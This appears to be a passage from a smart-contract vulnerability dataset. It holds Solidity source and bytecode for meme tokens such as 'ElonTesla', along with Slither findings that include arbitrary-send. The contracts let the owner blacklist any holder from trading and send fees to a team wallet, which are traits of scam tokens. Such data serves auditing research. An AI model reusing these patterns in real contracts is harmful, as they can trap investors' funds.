_takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 15); _teamFee = fee; } function setMaxTxn(uint256 max) external onlyOwner(){ require(max>4); _maxTxnAmount = max; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a2578063e6ec64ec146104e8578063f2fde38b14610508578063fc588c041461052857600080fd5b8063a9059cbb14610442578063b515566a14610462578063cf0848f71461048257600080fd5b806370a0823114610372578063715018a6146103925780637c938bb4146103a75780638da5cb5b146103c757806390d49b9d146103ef57806395d89b411461040f57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102cb578063437823ec14610304578063476343ee146103245780635342acb41461033957600080fd5b8063313ce5671461027757806331c2d8471461028b5780633a0f23b3146102ab57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ed57806318160ddd1461021d57806323b872dd14610242578063293230b81461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610548565b005b3480156101b457600080fd5b5060408051808201909152600a81526942616279536d7570707960b01b60208201525b6040516101e491906119ac565b60405180910390f35b3480156101f957600080fd5b5061020d610208366004611a26565b610594565b60405190151581526020016101e4565b34801561022957600080fd5b50678ac7230489e800005b6040519081526020016101e4565b34801561024e57600080fd5b5061020d61025d366004611a52565b6105ab565b34801561026e57600080fd5b506101a6610614565b34801561028357600080fd5b506009610234565b34801561029757600080fd5b506101a66102a6366004611aa9565b6106c8565b3480156102b757600080fd5b506101a66102c6366004611b6e565b61075e565b3480156102d757600080fd5b5061020d6102e6366004611b90565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561031057600080fd5b506101a661031f366004611b90565b61079b565b34801561033057600080fd5b506101a66107e9565b34801561034557600080fd5b5061020d610354366004611b90565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037e57600080fd5b5061023461038d366004611b90565b610823565b34801561039e57600080fd5b506101a6610845565b3480156103b357600080fd5b506101a66103c2366004611b90565b61087b565b3480156103d357600080fd5b506000546040516001600160a01b0390911681526020016101e4565b3480156103fb57600080fd5b506101a661040a366004611b90565b610ad6565b34801561041b57600080fd5b5060408051808201909152600a81526942414259534d5550505960b01b60208201526101d7565b34801561044e57600080fd5b5061020d61045d366004611a26565b610b50565b34801561046e57600080fd5b506101a661047d366004611aa9565b610b5d565b34801561048e57600080fd5b506101a661049d366004611b90565b610c76565b3480156104ae57600080fd5b506102346104bd366004611bad565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f457600080fd5b506101a6610503366004611be6565b610cc1565b34801561051457600080fd5b506101a6610523366004611b90565b610cfd565b34801561053457600080fd5b506101a6610543366004611be6565b610d95565b6000546001600160a01b0316331461057b5760405162461bcd60e51b815260040161057290611bff565b60405180910390fd5b600061058630610823565b905061059181610dd1565b50565b60006105a1338484610f4b565b5060015b92915050565b60006105b884848461106f565b61060a843361060585604051806060016040528060288152602001611d7a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611495565b610f4b565b5060019392505050565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161057290611bff565b600d54600160a01b900460ff166106a25760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610572565b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161057290611bff565b60005b815181101561075a5760006005600084848151811061071657610716611c34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075281611c60565b9150506106f5565b5050565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161057290611bff565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107c55760405162461bcd60e51b815260040161057290611bff565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561075a573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a5906114cf565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161057290611bff565b6108796000611553565b565b6000546001600160a01b031633146108a55760405162461bcd60e51b815260040161057290611bff565b600d54600160a01b900460ff161561090d5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610572565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109889190611c7b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c7b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6a9190611c7b565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610b005760405162461bcd60e51b815260040161057290611bff565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006105a133848461106f565b6000546001600160a01b03163314610b875760405162461bcd60e51b815260040161057290611bff565b60005b815181101561075a57600d5482516001600160a01b0390911690839083908110610bb657610bb6611c34565b60200260200101516001600160a01b031614158015610c075750600c5482516001600160a01b0390911690839083908110610bf357610bf3611c34565b60200260200101516001600160a01b031614155b15610c6457600160056000848481518110610c2457610c24611c34565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c6e81611c60565b915050610b8a565b6000546001600160a01b03163314610ca05760405162461bcd60e51b815260040161057290611bff565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610ceb5760405162461bcd60e51b815260040161057290611bff565b600f8110610cf857600080fd5b600855565b6000546001600160a01b03163314610d275760405162461bcd60e51b815260040161057290611bff565b6001600160a01b038116610d8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610572565b61059181611553565b6000546001600160a01b03163314610dbf5760405162461bcd60e51b815260040161057290611bff565b60048111610dcc57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1957610e19611c34565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190611c7b565b81600181518110610ea957610ea9611c34565b6001600160a01b039283166020918202929092010152600c54610ecf9130911684610f4b565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f08908590600090869030904290600401611c98565b600060405180830381600087803b158015610f2257600080fd5b505af1158015610f36573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610fad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b03821661100e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110d35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610572565b6001600160a01b0382166111355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610572565b600081116111975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610572565b6001600160a01b03831660009081526005602052604090205460ff161561123f5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610572565b6001600160a01b03831660009081526004602052604081205460ff1615801561128157506001600160a01b03831660009081526004602052604090205460ff16155b80156112975750600d54600160a81b900460ff16155b80156112c75750600d546001600160a01b03858116911614806112c75750600d546001600160a01b038481169116145b1561148357600d54600160b81b900460ff166113255760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610572565b50600d546001906001600160a01b0385811691161480156113545750600c546001600160a01b03848116911614155b80156113625750600f5460ff165b156113b357600061137284610823565b905061139c6064611396600a54678ac7230489e800006115a390919063ffffffff16565b90611622565b6113a68483611664565b11156113b157600080fd5b505b600e544214156113e1576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113ec30610823565b600d54909150600160b01b900460ff161580156114175750600d546001600160a01b03868116911614155b1561148157801561148157600d5461144b9060649061139690600f90611445906001600160a01b0316610823565b906115a3565b81111561147857600d546114759060649061139690600f90611445906001600160a01b0316610823565b90505b61148181610dd1565b505b61148f848484846116c3565b50505050565b600081848411156114b95760405162461bcd60e51b815260040161057291906119ac565b5060006114c68486611d09565b95945050505050565b60006006548211156115365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610572565b60006115406117c6565b905061154c8382611622565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115b2575060006105a5565b60006115be8385611d20565b9050826115cb8583611d3f565b1461154c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610572565b600061154c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b6000806116718385611d61565b90508381101561154c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610572565b80806116d1576116d1611817565b6000806000806116e087611833565b6001600160a01b038d166000908152600160205260409020549397509195509350915061170d908561187a565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461173c9084611664565b6001600160a01b03891660009081526001602052604090205561175e816118bc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117a391815260200190565b60405180910390a350505050806117bf576117bf600954600855565b5050505050565b60008060006117d3611906565b90925090506117e28282611622565b9250505090565b6000818361180a5760405162461bcd60e51b815260040161057291906119ac565b5060006114c68486611d3f565b60006008541161182657600080fd5b6008805460095560009055565b60008060008060008061184887600854611946565b9150915060006118566117c6565b90506000806118668a8585611973565b909b909a5094985092965092945050505050565b600061154c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611495565b60006118c66117c6565b905060006118d483836115a3565b306000908152600160205260409020549091506118f19082611664565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006119218282611622565b82101561193d57505060065492678ac7230489e8000092509050565b90939092509050565b60008080611959606461139687876115a3565b90506000611967868361187a565b96919550909350505050565b6000808061198186856115a3565b9050600061198f86866115a3565b9050600061199d838361187a565b92989297509195505050505050565b600060208083528351808285015260005b818110156119d9578581018301518582016040015282016119bd565b818111156119eb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059157600080fd5b8035611a2181611a01565b919050565b60008060408385031215611a3957600080fd5b8235611a4481611a01565b946020939093013593505050565b600080600060608486031215611a6757600080fd5b8335611a7281611a01565b92506020840135611a8281611a01565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611abc57600080fd5b823567ffffffffffffffff80821115611ad457600080fd5b818501915085601f830112611ae857600080fd5b813581811115611afa57611afa611a93565b8060051b604051601f19603f83011681018181108582111715611b1f57611b1f611a93565b604052918252848201925083810185019188831115611b3d57600080fd5b938501935b82851015611b6257611b5385611a16565b84529385019392850192611b42565b98975050505050505050565b600060208284031215611b8057600080fd5b8135801515811461154c57600080fd5b600060208284031215611ba257600080fd5b813561154c81611a01565b60008060408385031215611bc057600080fd5b8235611bcb81611a01565b91506020830135611bdb81611a01565b809150509250929050565b600060208284031215611bf857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7457611c74611c4a565b5060010190565b600060208284031215611c8d57600080fd5b815161154c81611a01565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ce85784516001600160a01b031683529383019391830191600101611cc3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611d1b57611d1b611c4a565b500390565b6000816000190483118215151615611d3a57611d3a611c4a565b500290565b600082611d5c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d7457611d74611c4a565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204da2e6b8159dd43bd530e21db3ac6cde8d93ad303bb14461ccb800b0a19d058464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,817
0x76adcca6efa868452860c26bd1b88abef89364a2
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ /* https://twitter.com/elonmusk/status/1412873623614812160 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonTesla is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " ElonTesla "; string private constant _symbol = " Elon Musk & Nikola Tesla "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600b81526020017f20456c6f6e5465736c6120000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ff